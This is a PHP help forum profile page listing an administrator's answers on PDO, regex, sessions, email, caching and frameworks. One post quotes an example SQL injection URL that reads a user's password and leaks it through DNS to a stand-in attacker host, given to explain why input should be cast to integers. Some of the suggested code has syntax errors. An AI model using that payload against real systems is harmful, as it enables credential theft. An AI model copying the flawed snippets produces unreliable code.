Jump to content

gizmola

Administrators
  • Posts

    5,962
  • Joined

  • Last visited

  • Days Won

    146

Everything posted by gizmola

  1. Layout these days is best handled with flexbox or grid. For example, here's a quick demo I set up with flexbox based on your description of 2 colums with the right column being 85% and centered content: https://codepen.io/gizmola/pen/XWLpage
  2. Are you outputting the lines? Because if you are outputting these lines, then there is no need to loop through them more than you already are. As for the REPLACE, that should work so there is something wrong with your assumption. In some cases the field might have a '\r' or '\r\n'. Or you could have escaped the slash so that it is not a newline character, but rather the "\n" string. I would suggest running SELECT HEX(TextField) AS TextField FROM mytable WHERE ID = 2 and verifying the contents of the field.
  3. This seems very relevant to your budget, as well as your locale and the types of sites you have as well as the primary audience for those sites. This is a list of the largest and best known companies (outside of maybe godaddy): https://www.forbes.com/advisor/l/best-cheap-web-hosting
  4. You got some great advice, as well as the answer, but to be very specific, here is your error: Fatal error: Uncaught Error: Cannot use object of type PDOStatement as array in /vhost/d/e/s/desmond-otoole.co.uk/www/Lottery2/secure/LotteryFunctionsPDO.php:22 So just reading the error, should tell you -- where is it you are trying to use anything in that code as an array? echo $stmt['N1']; So clearly, the problem is that, at runtime, $stmt was a PDOStatement Object. And you can not use that object like it is an array in PHP (unlike javascript). As Phi11w posted, that should tell you to look at the manual and determine what you might have done wrong.' Here is the fetch function you utilized: https://www.php.net/manual/en/pdostatement.fetch.php If you read the manual page you want to concentrate on what is returned: The return value of this function on success depends on the fetch type. In all cases, false is returned on failure or if there are no more rows. Looking at the manual, you'll note that because you passed no mode parameter: PDO::FETCH_BOTH (default): returns an array indexed by both column name and 0-indexed column number as returned in your result set. So you can make this code more efficient, by passing the parameter that tells PDO to only return an array with the keys being the column names. While we are fixing this up, you should take the time to make this function actually usable for more than one query, by making the SQL statement a parameter. function GetAllData($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetch(PDO::FETCH_ASSOC); return $result; } And it should be obvious then that your function call will be: $row = GetAllData('SELECT * FROM EuroMillions ORDER BY Draw DESC'); if ($row) { // Do something with your result arrray } else { // Result set was invalid } Going further, PHP has some commonly accepted code standards you've violated here. It also appears you have hit upon the old adage that: So what I see here is that you have a function you called GetAllData, but it does not get all data. At best it gets one row. The other issue, in terms of php coding standards is that you have violated PSR-1 by naming your function GetAllData which is in "Pascal case" where the first Letter of the function name is capitalized. PSR-1 was extended in PSR-12 if you want to really embrace the standards used by the majority of professional PHP developers. So... to complete the fixes to your function.... function getOneRow($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetch(PDO::FETCH_ASSOC); return $result; } If you actually wanted a similar function to return all the rows/data: function getAllRows($sql) { $pdo = connectDB(); $stmt = $pdo->prepare($sql); $stmt->execute(); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); return $result; } This would return you an array of 0..n associated arrays.
  5. The reason it didn't work is because you have an html entity for a space in there. You could convert that to a space 1st. $patterns[] = '#<h3>(.*?)</h3>#'; $replacements[] = ''; $patterns[] = '#&nbsp;#'; $replacements[] = ' '; $patterns[] = '#<br \/>\s+<br \/>#'; $replacements[] = ''; $final = preg_replace($patterns, $replacements, $html);
  6. I would need to have some sample text in order to determine what the issue might be. Do you understand what the regex is doing? It assumes there must be 2 br's with space between them. If it doesn't match that exactly it won't remove things. If there are other br's that need to be removed that can be handled, but what is in the actual database entries is important to understand. One other thing.. you are currently passing a limit of 1 match/replacement as the parameter. So if there are multiple occurrences, it will only take care of 1. I'm not sure why you are limiting it that way, but it could also explain a potential issue.
  7. requinix made an excellent suggestion, that could be better if you want to have a whitelist/blacklist of tags. However, along the lines of what you are already doing, you could add an additional replacement pattern. This might need to be improved if there is any possibility of variation in the br tags, but if they are all standard and self closing as in your example text, one advantage of this is that it will find a br, followed by any amount of whitespace, followed by a 2nd br. <br \/>\s+<br \/> One of the nice things about preg_replace, when you need to do multiple replacements, is that you can set them up using 2 arrays and run them in one call. <h2 class="productsummaryheading mb-0">Product Summary</h2> <?php $html= substr($description,0,strrpos(substr($description,0,300)," ")); $patterns[] = '#<h3>(.*?)</h3>#'; $replacements[] = ''; $patterns[] = '#<br \/>\s+<br \/>#'; $replacements[] = ''; $final = preg_replace($patterns, $replacements, $html, 1); echo $final; ?> ...<a href="<?php echo $_SERVER["REQUEST_URI"]; ?>#productdescription">Read More</a>
  8. This is most likely a BC break, because that method was available in phpunit 9, but was removed in phpunit version 10.
  9. I will 2nd Requinix's advice: Just use Symfony. I say this as someone who has built and/or extended a number of enterprise systems using Symfony and Laravel. They are both capable of doing most of what you want, and have things in common beyond both being MVC frameworks, as in for example, they both are examples of Dependency Injection frameworks. But of the two, Symfony has consistently made choices that represent forward thinking and the best practices in modern framework based software development. Symfony provides great utility, without sacrificing flexibility or resorting to "magic" and hard wired conventions. There was a time when Laravel's "opinionated ... just do it the way we tell you" was an advantage to developers new to php framework based development, and especially in the area of application users, authentication and security, as compared to symfony. Symfony was intentionally agnostic, flexible, and required more decision making on the part of the developer, with features like voters that allow you to create sophisticated authentication schemes that can factor in roles as well as data. Voters are great when you need them, but can be intimidating when you don't or aren't sure what they are for. At this point, all that has been smoothed out. Symfony is still architected to make it easy for people to plug into any of the many ways that people might want to implement or integrate with existing enterprise or single sign on infrastructure, however, for what you want, you can just use the maker bundle to generate the vast majority of code you need, and follow the advice and instructions in the Security documentation. Once you've chosen Symfony, significantly in my opinion, you get the Doctrine ORM which is superior to Laravel's Eloquent, and as you will make use of it for security, you'll also discover its utility and likely end up using it for many other things you build into your application. It is far better designed for advanced relational database features like transactions.
  10. Yes, however, people can actually use a DMarc configuration to just flat out reject or quarantine emails that fail SPF or DKIM validation. The other thing to do is to make sure all the domains lineup, so that the user@domain of the email matches the domain check for SPF and DKIM.
  11. I would say that usually there is a team lead who set up the development environment, sometimes working with devops if there is internal infrastructure being supplied. These days with people using dotenv files for many things, you typically will need to create the dotenv files the project needs and in some cases set values that work for your local dev environment. I will typically create some template files with the variables needed and perhaps some examples, but before the containerized env works, some files have to be copied to the right dotenv file, and some config will probably have to be done before things will actually work. Then beyond that, if there's a database, there might be fixtures that have to be run to setup database values. Ideally people put the information you need into the README.md for the project, but as we all know, documenting things is often not considered a priority.
  12. A lot of people would probably say that many of these types of issues can be solved when you make use of the Dependency Injection (aka Inversion of Control) pattern. There are logging libraries like the well known "Monolog" component library: https://packagist.org/packages/monolog/monolog You would do something similar in regards to a copy operation, and not put sleep code in, which isn't a simulation of anything. You have a contrived example, and are using a unit test for something that, I guess appears to be a functional test. Unit tests are meant to insure that all code is executed, and the intention you had when writing a function or method can be proven to meet the design expectations. It is not something that people are expected to sit and watch. In fact, quite the opposite in situations where people are using the unit tests in Continuous Integration (CI) and possibly continuous delivery (CD). The very fact that you are trying to simulate the expectation that an end user would be sitting tailing a log or looking at a console tells you that you are in the realm of user experience and not unit testing.
  13. In addition to Barand's excellent tutorial, which you should take advantage of, there are any number of sample databases you can use. If you're learning MySQL, there are several reference database schemas. There's an employee schema and "Salika" which is a fairly well fleshed out DVD rental schema. Here's a page that documents these and a few others for MS SQL for students of a Nanyang Tech University: https://www3.ntu.edu.sg/home/ehchua/programming/sql/SampleDatabases.html A little bit of googling will find you many many more.
  14. It sounds like what you are describing is a custom work flow engine. Just editorially, a well known product that a lot of people know of in the software world is Jira. Most people think of Jira as an issue tracker, but it's actually a workflow engine with issue tracking workflows pre-configured. You can create any sort of workflow with it. I set up some fairly elaborate internal workflows for companies I worked for in the past. The level of complexity available, can make it very difficult to change a workflow once you started using it, which is one of the things that can be surprising about Jira. At any rate, there's a large list of workflow related products and software libraries you might take a look at. Unfortunately, like jira itself, a lot of Business Process Modelling (BPM) and workflow engines are written in Java, however I did note in the list, that there are libraries for both Laravel and Symfony frameworks that I would take a look at, even if it's just to see how someone else has solved the problem.
  15. Maybe it's because the method is expectOutputString, not expectedOutputString.
  16. I fought a few xml wars in my day, most involving soap. Every now and then, some of this comes in handy. A lot of people working in web development don't realize it wasn't all that long ago that people were arguing over html4 vs xhtml.
  17. I have about 10 pounds of old xml books in my office covering all this type of arcana. Fortunately (or not depending on how you look at it) we have people like Requinix and Barand on this forum, who have the memories of elephants -- quite appropriate given that the elePHant is the official mascot of the PHP project.
  18. One thing of concern is that your site is leaking error information. Unless you changed this just for the purposes of debugging, you should have display_errors = Off, and be logging the errors instead to a log file. In terms of session timeout parameters, people are often given the impression that overriding the defaults with different runtime parameters is a solution, but the reality is, that the default handling will delete your session file, should garbage collection be run somewhere else on your site. The only way the timestamp on the session file will be updated, is if something in the session is updated. This is partially based on the default session setting for session.lazy_write which defaults to true. One way to handle this extension would be to update some session variable each time your refresh runs. However, given that this is a personal system for you, the best solution in my opinion would be to implement a "remember me" feature, which is a fairly standard addition to many website systems. The way you would handle remember me, is to add a security feature where your code (for you as the admin) sets a cookie in the future. Practically speaking, this cookie can now only be set a year in advance, and for security reasons, these types of limits are subject to change depending on what the browser developers decide. From what I've seen, Chrome for example, will only allow a cookie to set with an expiration a bit more than a year now. But you would do something like this: // Get these things from your user table: //$userId //$userName //$userCreatedDate (user account was created) // Generate the hash $rememberMeHash = sha1(uniqid($userName, true) . $userCreatedDate . $userId); // Now store this value (it's a 40 character hex string) in the row of your user table, for your personal/admin user. setcookie( "someCookieName", $rememberMeHash, time() + (365 * 24 * 60 * 60) ); After implementing this into your admin login, you then need to change your authentication to take this cookie into account. If authentication failed, check for your "remember me" cookie. If that value exists, see if there is a user who has that hash value in their user record. If found, handle this the same way you would if the user had authenticated with username/password and set the session up accordingly. In essence this will keep your login available for a year at a time, just so long as this remember me cookie exists.
  19. I should have checked the is_int manual page, and should have seen that it checks PHP's internal type. Thanks to Psycho and mac_gyver we got you there, but just to be complete, is_numeric will pass many numbers through that are not integers. To really do the job well, this is what I should have offered up from the beginning (and also takes advantage of the typecasting I wrote about. if (!isset($_GET['t']) || !is_numeric($_GET['t']) || !is_int((int)$_GET['t'] || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); exit; } It is always very important that location redirects are followed by an exit, because redirection is a function of the browser. The server is basically saying: "you go here", but it is up to the browser to actually follow that instruction. Bots and artificial clients may not play by the rules. So the script should at that point exit, so that no additional code is run, or access restriction bypassed.
  20. Based on what your ISP stated to you, they have a Varnish Cache server in between "clients" and your server. The cache control headers you are setting have no effect on the varnish server. They have configured it to cache your content for some period of time. You can learn a bit more about varnish by reading about it. Keep in mind that this is their cache server, likely to reduced overall traffic to their hosts, and seems not to be something they advertise, which is a bit shady, but such is the way of shared hosting companies. So when they asked you if you wanted to turn it off, at least for the purposes of this exercise the answer is "YES". This is the reason you are seeing the behavior you are seeing. The requests are going to the server, the Varnish cache server is intercepting those requests and serving a cached version of your actual response for some period of time. Once the setting expires, you see a new page.
  21. I want to also offer a simple fix for the huge sql injection hole this code has. At least in this script you can somewhat mitigate it by "casting" the url parameter to an integer. // change $id = $_GET['t']; // To $id = (int)$_GET['t']; Usually this would work well, as in most systems there won't be a row with an id of zero. If for example, someone tries to pass a url parameter like this one, it could be really bad: https:...yoursite.com?t= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.3w39ricodvyzuq0ood.somebadsite.net\1.xem',null,null)) Casting the get parameter to an integer would safely convert all that attempted sql injection code to 0. You have the unfortunate situation that you decided to have a zero id, so you can't use that as a safety net now. It's not the only nor best way to harden a system from sql injection attacks, but it is a simple and longstanding one, when your system intrinsically works with integer keys. With that said, I took Psycho's code and tweaked it a bit, which will at least get your system working again with 0, and will protect against sql injection, but this problem could exist throughout the other scripts, and fixing this one problem may not make it usable for you again. To be clear replace the first few lines with these lines: <?php require_once('seabass.php'); if (!isset($_GET['t']) || !is_int($_GET['t') || $_GET['t'] < 0) { header('Location: http://www.baltimorebeach.com'); } And at least with this script your zero id team should load again.
  22. Pretty much all servers utilize UTC. If they don't, that is ... well, "non standard" and ill advised, yet people who run their own servers, will choose to set their server up to a local timezone frequently, or use a function like "date_default_timezone_set('Europe/London');" which is ill advised in my considered opinion. With a server set to UTC, Data is stored as UTC and defaults will be UTC, since database types in general don't have a timezone component, and rely on the server. I'm not sure what your code is doing, but it should rely on the intrinsic database types, which in turn will rely on the server's time. Once you know that everything is UTC, you can then transform any time to show it in the preferred timezone. PHP DateTime objects are sophisticated and fully capable of reliably and easily converting from one timezone to another, or taking a datetime and displaying it in the Timezone that is preferred for the end user. Since you are wanting London, it's already only +1 hours from UTC.
  23. No, just trying to use javascript to post the same data the form is posting, is not going to fix whatever is not working right now. Did you debug the form handling using the developer tools of your browser? You want to open developer tools and use the Network Tab. Then submit your form and you should be able to look at the request and the response. This will show you if the server is returning any errors. As I said previously, the code you posted is simple and I see no problems with it. It most likely does work, only you are not getting the emails, and that has nothing to do with the code, and everything to do with how email works and the way your server works. Email deliverability is complicated, and to debug an issue with it requires a full understanding of your ISP. In most cases, to send an email, you must use a mail server they supply. if (mail($recipient, $subject, $email_content, $email_headers)) { This is the line of code that actually sends the email, but what it really is doing is dumping the mail to your server's Mail Transfer Agent. I can't 100% tell you this is the case without knowing more about your ISP and your server, but by default that is how it works. So to the PHP code, it looks like the mail is sent, but from there the mail will simply disappear because the MTA tries to forward the mail and that gets rejected. This does not happen in realtime, so you will never know (without looking at logs) that the mail was never delivered. Many ISP's do not allow mail to be sent directly from a server, using the MTA, as a way of rejecting spam. So in that case, they require you to deliver mail to their internal servers, and it will then be sent by their mail server for you. You really need support from your hosting company to debug a complicated problem like email in many cases.
  24. If you were to utilize an MVC framework like Laravel or Symfony, they each have libraries that can easily generate CRUD for simple updates. I'm not sure you're going to find anything which gives you a spreadsheet-like interface, but you may find it gets you most of the way to what you need. There are probably many of these I don't know about but just as a start: For Laravel: https://github.com/awais-vteams/laravel-crud-generator https://github.com/misterdebug/crud-generator-laravel For Symfony: Symfony has the maker bundle, that provides features that let you generate code, including CRUD. This article outlines some of the basic things you install: https://digitaldeveloper.dev/create-crud-symfony-7 There's also the well known Easyadmin bundle that works with Symfony 7: https://github.com/EasyCorp/EasyAdminBundle In both cases, you have to get a lot of the foundation classes built, and there will be a significant learning curve. You can customize things once you know what you are doing, but again it is going to require some developer knowledge. For example, people often will do a bit of integration with a css framework like bootstrap or tailwind in order to get things to look nice.
  25. One other thing I noticed is that you are going a bit crazy with your use of response codes. A 200 code will be sent automatically, and you should not be sending all these other responses unless this is a REST api, where a client is doing something with the responses. In this case, it appears you are just returning some information on an otherwise blank page. Typically people creating a feature like this will integrate the form with the submission (a self posting form) and display errors back to the user in the same form until they either give up, or are successful. With that said, I wouldn't try doing that until you have the redirection working.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.